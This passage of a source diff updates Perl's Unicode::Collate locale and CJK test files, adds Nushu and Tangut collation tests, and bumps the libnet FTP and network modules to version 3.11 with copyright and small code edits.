+ok($objWo->lt("ez","e\x{301}"));
ok($objWo->lt("e\x{301}", "e\x{308}"));
ok($objWo->gt("f", "e\x{308}"));
ok($objWo->lt("n", "n\x{303}"));
+ok($objWo->lt("nz","n\x{303}"));
ok($objWo->lt("n\x{303}", "\x{14B}"));
ok($objWo->gt("o", "\x{14B}"));
ok($objWo->lt("o", "o\x{301}"));
+ok($objWo->lt("oz","o\x{301}"));
ok($objWo->gt("p", "o\x{301}"));
-# 12
+# 16
$objWo->change(level => 2);
@@ -62,7 +66,7 @@ ok($objWo->eq("n\x{303}", "N\x{303}"));
ok($objWo->eq( "\x{14B}", "\x{14A}"));
ok($objWo->eq("o\x{301}", "O\x{301}"));
-# 18
+# 22
$objWo->change(level => 3);
@@ -73,7 +77,7 @@ ok($objWo->lt("n\x{303}", "N\x{303}"));
ok($objWo->lt( "\x{14B}", "\x{14A}"));
ok($objWo->lt("o\x{301}", "O\x{301}"));
-# 24
+# 28
ok($objWo->eq("a\x{300}", pack('U', 0xE0)));
ok($objWo->eq("a\x{340}", pack('U', 0xE0)));
@@ -92,4 +96,4 @@ ok($objWo->eq("o\x{341}", pack('U', 0xF3)));
ok($objWo->eq("O\x{301}", pack('U', 0xD3)));
ok($objWo->eq("O\x{341}", pack('U', 0xD3)));
-# 40
+# 44
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_yo.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_yo.t
index f3f4753172f..c99beaf37e5 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_yo.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_yo.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..33\n"; }
+BEGIN { $| = 1; print "1..36\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -41,16 +41,19 @@ ok($objYo->getlocale, 'yo');
$objYo->change(level => 1);
ok($objYo->lt("e", "e\x{323}"));
+ok($objYo->lt("ez","e\x{323}"));
ok($objYo->gt("f", "e\x{323}"));
ok($objYo->lt("g", "gb"));
ok($objYo->lt("gz","gb"));
ok($objYo->gt("h", "gb"));
ok($objYo->lt("o", "o\x{323}"));
+ok($objYo->lt("oz","o\x{323}"));
ok($objYo->gt("p", "o\x{323}"));
ok($objYo->lt("s", "s\x{323}"));
+ok($objYo->lt("sz","s\x{323}"));
ok($objYo->gt("t", "s\x{323}"));
-# 11
+# 14
$objYo->change(level => 2);
@@ -60,7 +63,7 @@ ok($objYo->eq("Gb", "GB"));
ok($objYo->eq("o\x{323}", "O\x{323}"));
ok($objYo->eq("s\x{323}", "S\x{323}"));
-# 16
+# 19
$objYo->change(level => 3);
@@ -70,7 +73,7 @@ ok($objYo->lt("Gb", "GB"));
ok($objYo->lt("o\x{323}", "O\x{323}"));
ok($objYo->lt("s\x{323}", "S\x{323}"));
-# 21
+# 24
ok($objYo->eq("e\x{323}", "\x{1EB9}"));
ok($objYo->eq("E\x{323}", "\x{1EB8}"));
@@ -79,6 +82,8 @@ ok($objYo->eq("O\x{323}", "\x{1ECC}"));
ok($objYo->eq("s\x{323}", "\x{1E63}"));
ok($objYo->eq("S\x{323}", "\x{1E62}"));
+# 30
+
ok($objYo->eq("e\x{323}\x{302}", "\x{1EC7}"));
ok($objYo->eq("E\x{323}\x{302}", "\x{1EC6}"));
ok($objYo->eq("o\x{323}\x{302}", "\x{1ED9}"));
@@ -86,4 +91,4 @@ ok($objYo->eq("O\x{323}\x{302}", "\x{1ED8}"));
ok($objYo->eq("o\x{323}\x{31B}", "\x{1EE3}"));
ok($objYo->eq("O\x{323}\x{31B}", "\x{1EE2}"));
-# 33
+# 36
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/nushu.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/nushu.t
new file mode 100644
index 00000000000..4293a9af5de
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/nushu.t
@@ -0,0 +1,73 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..185\n"; } # 5 + 12 x @Versions
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate;
+
+ok(1);
+
+#########################
+
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
+
+my $Collator = Unicode::Collate->new(
+ table => 'keys.txt',
+ normalization => undef,
+ UCA_Version => 36,
+);
+
+ok($Collator->viewSortKey("\x{1B170}"),
+ '[FB01 8000 | 0020 | 0002 | FFFF |]');
+ok($Collator->viewSortKey("\x{1B171}"),
+ '[FB01 8001 | 0020 | 0002 | FFFF |]');
+ok($Collator->viewSortKey("\x{1B200}"),
+ '[FB01 8090 | 0020 | 0002 | FFFF |]');
+ok($Collator->viewSortKey("\x{1B2FB}"),
+ '[FB01 818B | 0020 | 0002 | FFFF |]');
+
+# Nushu < CJK UI (4E00) < Unassigned.
+
+# 1B170..1B2FB are Nushu Characters since UCA_Version 36 (Unicode 10.0).
+
+for my $v (@Versions) {
+ $Collator->change(UCA_Version => $v);
+
+ ok($Collator->cmp("\x{1B16F}", "\x{4E00}") == 1);
+ ok($Collator->cmp("\x{1B170}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+ ok($Collator->cmp("\x{1B171}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+ ok($Collator->cmp("\x{1B1FF}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+ ok($Collator->cmp("\x{1B200}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+ ok($Collator->cmp("\x{1B2FB}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+ ok($Collator->cmp("\x{1B2FC}", "\x{4E00}") == 1);
+ ok($Collator->cmp("\x{1B2FF}", "\x{4E00}") == 1);
+
+ ok($Collator->lt("\x{1B170}", "\x{1B171}"));
+ ok($Collator->lt("\x{1B171}", "\x{1B1FF}"));
+ ok($Collator->lt("\x{1B1FF}", "\x{1B200}"));
+ ok($Collator->lt("\x{1B200}", "\x{1B2FB}"));
+}
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk0.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk0.t
index 9c2dcb190b9..12e599de583 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk0.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk0.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..347\n"; } # 6 + 31 x @Versions
+BEGIN { $| = 1; print "1..696\n"; } # 6 + 46 x @Versions
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -59,13 +59,17 @@ ok($ignoreCJK->lt("Pe\x{5B57}rl", "Perl")); # 'r' is unassigned.
# 9FBC..9FC3 are CJK UI since UCA_Version 18 (Unicode 5.1).
# 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2).
# 9FCC is CJK UI since UCA_Version 24 (Unicode 6.1).
+# 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0).
+# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0).
# 3400..4DB5 are CJK UI Ext.A since UCA_Version 8 (Unicode 3.0).
# 20000..2A6D6 are CJK UI Ext.B since UCA_Version 8 (Unicode 3.1).
# 2A700..2B734 are CJK UI Ext.C since UCA_Version 20 (Unicode 5.2).
# 2B740..2B81D are CJK UI Ext.D since UCA_Version 22 (Unicode 6.0).
+# 2B820..2CEA1 are CJK UI Ext.E since UCA_Version 32 (Unicode 8.0).
+# 2CEB0..2EBE0 are CJK UI Ext.F since UCA_Version 36 (Unicode 10.0).
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
for my $v (@Versions) {
$ignoreCJK->change(UCA_Version => $v);
@@ -84,8 +88,15 @@ for my $v (@Versions) {
ok($ignoreCJK->cmp("\x{9FC4}", "") == ($v >= 20 ? 0 : 1));
ok($ignoreCJK->cmp("\x{9FCB}", "") == ($v >= 20 ? 0 : 1));
ok($ignoreCJK->cmp("\x{9FCC}", "") == ($v >= 24 ? 0 : 1));
- ok($ignoreCJK->cmp("\x{9FCD}", "") == 1);
- ok($ignoreCJK->cmp("\x{9FCF}", "") == 1);
+ ok($ignoreCJK->cmp("\x{9FCD}", "") == ($v >= 32 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{9FCF}", "") == ($v >= 32 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{9FD0}", "") == ($v >= 32 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{9FD5}", "") == ($v >= 32 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{9FD6}", "") == ($v >= 36 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{9FDF}", "") == ($v >= 36 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{9FEA}", "") == ($v >= 36 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{9FEB}", "") == 1);
+ ok($ignoreCJK->cmp("\x{9FFF}", "") == 1);
# Ext.A
ok($ignoreCJK->cmp("\x{3400}", "") == 0);
@@ -110,5 +121,17 @@ for my $v (@Versions) {
ok($ignoreCJK->cmp("\x{2B81D}","") == ($v >= 22 ? 0 : 1));
ok($ignoreCJK->cmp("\x{2B81E}","") == 1);
ok($ignoreCJK->cmp("\x{2B81F}","") == 1);
+
+ # Ext.E
+ ok($ignoreCJK->cmp("\x{2B820}","") == ($v >= 32 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{2CEA1}","") == ($v >= 32 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{2CEA2}","") == 1);
+ ok($ignoreCJK->cmp("\x{2CEAF}","") == 1);
+
+ # Ext.F
+ ok($ignoreCJK->cmp("\x{2CEB0}","") == ($v >= 36 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{2EBE0}","") == ($v >= 36 ? 0 : 1));
+ ok($ignoreCJK->cmp("\x{2EBE1}","") == 1);
+ ok($ignoreCJK->cmp("\x{2EBEF}","") == 1);
}
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk1.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk1.t
index 0cc23dea50f..8441979425c 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk1.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/overcjk1.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..187\n"; } # 11 + 16 x @Versions
+BEGIN { $| = 1; print "1..356\n"; } # 11 + 23 x @Versions
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -60,12 +60,15 @@ ok($overCJK->lt("a\x{4E03}", "A\x{4E01}"));
#####
+# 4E00..9FA5 are CJK UI.
# 9FA6..9FBB are CJK UI since UCA_Version 14 (Unicode 4.1).
# 9FBC..9FC3 are CJK UI since UCA_Version 18 (Unicode 5.1).
# 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2).
# 9FCC is CJK UI since UCA_Version 24 (Unicode 6.1).
+# 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0).
+# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0).
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
for my $v (@Versions) {
$overCJK->change(UCA_Version => $v);
@@ -83,7 +86,14 @@ for my $v (@Versions) {
ok($overCJK->cmp("a\x{9FC4}", "A\x{9FCA}") == ($v >= 20 ? 1 : -1));
ok($overCJK->cmp("a\x{9FCA}", "A\x{9FCB}") == ($v >= 20 ? 1 : -1));
ok($overCJK->cmp("a\x{9FCB}", "A\x{9FCC}") == ($v >= 24 ? 1 : -1));
- ok($overCJK->cmp("a\x{9FCC}", "A\x{9FCD}") == -1);
- ok($overCJK->cmp("a\x{9FCD}", "A\x{9FCF}") == -1);
+ ok($overCJK->cmp("a\x{9FCC}", "A\x{9FCD}") == ($v >= 32 ? 1 : -1));
+ ok($overCJK->cmp("a\x{9FCD}", "A\x{9FCF}") == ($v >= 32 ? 1 : -1));
+ ok($overCJK->cmp("a\x{9FCF}", "A\x{9FD5}") == ($v >= 32 ? 1 : -1));
+ ok($overCJK->cmp("a\x{9FD5}", "A\x{9FD6}") == ($v >= 36 ? 1 : -1));
+ ok($overCJK->cmp("a\x{9FD6}", "A\x{9FDF}") == ($v >= 36 ? 1 : -1));
+ ok($overCJK->cmp("a\x{9FDF}", "A\x{9FEA}") == ($v >= 36 ? 1 : -1));
+ ok($overCJK->cmp("a\x{9FEA}", "A\x{9FEB}") == -1);
+ ok($overCJK->cmp("a\x{9FEB}", "A\x{9FEF}") == -1);
+ ok($overCJK->cmp("a\x{9FEF}", "A\x{9FFF}") == -1);
}
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/tangut.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/tangut.t
new file mode 100644
index 00000000000..171a2056619
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/tangut.t
@@ -0,0 +1,88 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..380\n"; } # 5 + 25 x @Versions
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate;
+
+ok(1);
+
+#########################
+
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
+
+my $Collator = Unicode::Collate->new(
+ table => 'keys.txt',
+ normalization => undef,
+ UCA_Version => 34,
+);
+
+ok($Collator->viewSortKey("\x{17000}"),
+ '[FB00 8000 | 0020 | 0002 | FFFF FFFF |]');
+ok($Collator->viewSortKey("\x{17001}"),
+ '[FB00 8001 | 0020 | 0002 | FFFF FFFF |]');
+ok($Collator->viewSortKey("\x{18800}"),
+ '[FB00 9800 | 0020 | 0002 | FFFF FFFF |]');
+ok($Collator->viewSortKey("\x{18AF2}"),
+ '[FB00 9AF2 | 0020 | 0002 | FFFF FFFF |]');
+
+# Tangut < CJK UI (4E00) < Unassigned.
+
+# 17000..187EC are Tangut Ideographs since UCA_Version 34 (Unicode 9.0).
+# 18800..18AF2 are Tangut Components since UCA_Version 34 (Unicode 9.0).
+
+for my $v (@Versions) {
+ $Collator->change(UCA_Version => $v);
+
+ ok($Collator->cmp("\x{16FFF}", "\x{4E00}") == 1);
+ ok($Collator->cmp("\x{17000}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{17001}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{17FFF}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{18000}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{187EB}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{187EC}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{187ED}", "\x{4E00}") == 1);
+ ok($Collator->cmp("\x{187FE}", "\x{4E00}") == 1);
+ ok($Collator->cmp("\x{187FF}", "\x{4E00}") == 1);
+ ok($Collator->cmp("\x{18800}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{18801}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{18AF1}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{18AF2}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+ ok($Collator->cmp("\x{18AF3}", "\x{4E00}") == 1);
+ ok($Collator->cmp("\x{18AFF}", "\x{4E00}") == 1);
+
+ ok($Collator->lt("\x{17000}", "\x{17001}"));
+ ok($Collator->lt("\x{17001}", "\x{17002}"));
+ ok($Collator->lt("\x{17002}", "\x{17FFF}"));
+ ok($Collator->lt("\x{17FFF}", "\x{18000}"));
+ ok($Collator->lt("\x{18000}", "\x{187EB}"));
+ ok($Collator->lt("\x{187EB}", "\x{187EC}"));
+
+ ok($Collator->lt("\x{18800}", "\x{18801}"));
+ ok($Collator->lt("\x{18801}", "\x{18AF1}"));
+ ok($Collator->lt("\x{18AF1}", "\x{18AF2}"));
+}
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Cmd.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Cmd.pm
index 3a5d4d9a547..b695f64dd05 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Cmd.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Cmd.pm
@@ -1,9 +1,7 @@
# Net::Cmd.pm
#
-# Versions up to 2.29_1 Copyright (c) 1995-2006 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 2.29_2 onwards Copyright (C) 2013-2015 Steve Hay. All
-# rights reserved.
+# Copyright (C) 1995-2006 Graham Barr. All rights reserved.
+# Copyright (C) 2013-2016 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -28,7 +26,7 @@ BEGIN {
}
}
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
our @ISA = qw(Exporter);
our @EXPORT = qw(CMD_INFO CMD_OK CMD_MORE CMD_REJECT CMD_ERROR CMD_PENDING);
@@ -654,10 +652,15 @@ Net::Cmd - Network Command class (as used by FTP, SMTP etc)
=head1 DESCRIPTION
-C<Net::Cmd> is a collection of methods that can be inherited by a sub class
-of C<IO::Handle>. These methods implement the functionality required for a
+C<Net::Cmd> is a collection of methods that can be inherited by a sub-class
+of C<IO::Socket::INET>. These methods implement the functionality required for a
command based protocol, for example FTP and SMTP.
+If your sub-class does not also derive from C<IO::Socket::INET> or similar (e.g.
+C<IO::Socket::IP>, C<IO::Socket::INET6> or C<IO::Socket::SSL>) then you must
+provide the following methods by other means yourself: C<close()> and
+C<timeout()>.
+
=head1 USER METHODS
These methods provide a user interface to the C<Net::Cmd> object.
@@ -850,16 +853,18 @@ of C<response> and C<status>. The sixth is C<CMD_PENDING>.
=head1 AUTHOR
-Graham Barr E<lt>F<gbarr@pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 COPYRIGHT
-Versions up to 2.29_1 Copyright (c) 1995-2006 Graham Barr. All rights reserved.
-Changes in Version 2.29_2 onwards Copyright (C) 2013-2014 Steve Hay. All rights
-reserved.
+Copyright (C) 1995-2006 Graham Barr. All rights reserved.
+
+Copyright (C) 2013-2016 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Config.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Config.pm
index 3e4ab0a03be..4f822a40a45 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Config.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Config.pm
@@ -1,9 +1,7 @@
# Net::Config.pm
#
-# Versions up to 1.11 Copyright (c) 2000 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 1.11_01 onwards Copyright (C) 2013-2014 Steve Hay. All
-# rights reserved.
+# Copyright (C) 2000 Graham Barr. All rights reserved.
+# Copyright (C) 2013-2014, 2016 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -20,7 +18,7 @@ use Socket qw(inet_aton inet_ntoa);
our @EXPORT = qw(%NetConfig);
our @ISA = qw(Net::LocalCfg Exporter);
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
our($CONFIGURE, $LIBNET_CFG);
@@ -327,16 +325,18 @@ If true then C<Configure> will check each hostname given that it exists
=head1 AUTHOR
-Graham Barr E<lt>F<gbarr@pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 COPYRIGHT
-Versions up to 1.11 Copyright (c) 1998-2011 Graham Barr. All rights reserved.
-Changes in Version 1.11_01 onwards Copyright (C) 2013-2014 Steve Hay. All
-rights reserved.
+Copyright (C) 1998-2011 Graham Barr. All rights reserved.
+
+Copyright (C) 2013-2014, 2016 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Domain.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Domain.pm
index 53822da103a..556cc159807 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/Domain.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/Domain.pm
@@ -1,9 +1,7 @@
# Net::Domain.pm
#
-# Versions up to 2.21 Copyright (c) 1995-1998 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 2.22 onwards Copyright (C) 2013-2014 Steve Hay. All rights
-# reserved.
+# Copyright (C) 1995-1998 Graham Barr. All rights reserved.
+# Copyright (C) 2013-2014 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -21,7 +19,7 @@ use Net::Config;
our @ISA = qw(Exporter);
our @EXPORT_OK = qw(hostname hostdomain hostfqdn domainname);
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
my ($host, $domain, $fqdn) = (undef, undef, undef);
@@ -346,16 +344,19 @@ Returns the remainder of the FQDN after the I<hostname> has been removed.
=head1 AUTHOR
Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
-Adapted from Sys::Hostname by David Sundstrom E<lt>F<sunds@asictest.sc.ti.com>E<gt>
+
+Adapted from Sys::Hostname by David Sundstrom E<lt>F<sunds@asictest.sc.ti.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 COPYRIGHT
-Versions up to 2.21 Copyright (c) 1995-1998 Graham Barr. All rights reserved.
-Changes in Version 2.22 onwards Copyright (C) 2013-2014 Steve Hay. All rights
-reserved.
+Copyright (C) 1995-1998 Graham Barr. All rights reserved.
+
+Copyright (C) 2013-2014 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP.pm
index f3beb2511c5..14153be0d0c 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP.pm
@@ -1,9 +1,7 @@
# Net::FTP.pm
#
-# Versions up to 2.77_2 Copyright (c) 1995-2004 Graham Barr <gbarr@pobox.com>.
-# All rights reserved.
-# Changes in Version 2.77_3 onwards Copyright (C) 2013-2015 Steve Hay. All
-# rights reserved.
+# Copyright (C) 1995-2004 Graham Barr. All rights reserved.
+# Copyright (C) 2013-2017 Steve Hay. All rights reserved.
# This module is free software; you can redistribute it and/or modify it under
# the same terms as Perl itself, i.e. under the terms of either the GNU General
# Public License or the Artistic License, as specified in the F<LICENCE> file.
@@ -25,7 +23,7 @@ use Net::Config;
use Socket;
use Time::Local;
-our $VERSION = '3.08_01';
+our $VERSION = '3.11';
our $IOCLASS;
my $family_key;
@@ -45,7 +43,7 @@ BEGIN {
my $inet6_class = eval {
require IO::Socket::IP;
no warnings 'numeric';
- IO::Socket::IP->VERSION(0.20);
+ IO::Socket::IP->VERSION(0.25);
} && 'IO::Socket::IP' || eval {
require IO::Socket::INET6;
no warnings 'numeric';
@@ -670,7 +668,7 @@ sub rmdir {
# Try to delete the contents
# Get a list of all the files in the directory, excluding the current and parent directories
- my @filelist = map { /^(?:\S+;)+ (.+)$/ ? ($1) : () } grep { !/^(?:\S+;)*type=[cp]dir;/ } $ftp->_list_cmd("MLSD", $dir);
+ my @filelist = map { /^(?:\S+;)+ (.+)$/ ? ($1) : () } grep { !/^(?:\S+;)*type=[cp]dir;/i } $ftp->_list_cmd("MLSD", $dir);
# Fallback to using the less well-defined NLST command if MLSD fails
@filelist = grep { !/^\.{1,2}$/ } $ftp->ls($dir)
@@ -1998,10 +1996,10 @@ run of your program which does yield the problem.
=head1 AUTHOR
-Graham Barr E<lt>F<gbarr@pobox.com>E<gt>
+Graham Barr E<lt>F<gbarr@pobox.com>E<gt>.
Steve Hay E<lt>F<shay@cpan.org>E<gt> is now maintaining libnet as of version
-1.22_02
+1.22_02.
=head1 SEE ALSO
@@ -2038,9 +2036,11 @@ Roderick Schertler <roderick@gate.net> - for various inputs
=head1 COPYRIGHT
-Versions up to 2.77_2 Copyright (c) 1995-2004 Graham Barr. All rights reserved.
-Changes in Version 2.77_3 onwards Copyright (C) 2013-2015 Steve Hay. All rights
-reserved.
+Copyright (C) 1995-2004 Graham Barr. All rights reserved.
+
+Copyright (C) 2013-2017 Steve Hay. All rights reserved.
+
+=head1 LICENCE
This module is free software; you can redistribute it and/or modify it under the
same terms as Perl itself, i.e. under the terms of either the GNU General Public
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/A.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/A.pm
index cdbd7680e50..0ea1ba2fbd2 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/A.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/A.pm
@@ -13,7 +13,7 @@ use Carp;
use Net::FTP::dataconn;
our @ISA = qw(Net::FTP::dataconn);
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
our $buf;
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/E.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/E.pm
index d3cb8207fb7..30b371a58b1 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/E.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/E.pm
@@ -8,6 +8,6 @@ use warnings;
use Net::FTP::I;
our @ISA = qw(Net::FTP::I);
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
1;
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/I.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/I.pm
index 3bd1c0fbe41..ec46ab0fdab 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/I.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/I.pm
@@ -13,7 +13,7 @@ use Carp;
use Net::FTP::dataconn;
our @ISA = qw(Net::FTP::dataconn);
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
our $buf;
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/L.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/L.pm
index 630db0d0a8b..d9a88576d99 100644
--- a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/L.pm
+++ b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/L.pm
@@ -8,6 +8,6 @@ use warnings;
use Net::FTP::I;
our @ISA = qw(Net::FTP::I);
-our $VERSION = "3.08_01";
+our $VERSION = "3.11";
1;
diff --git a/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/dataconn.pm b/gnu/usr.bin/perl/cpan/libnet/lib/Net/FTP/dataconn.pm
index ba0891bdfcd..337b0e999bc 100644
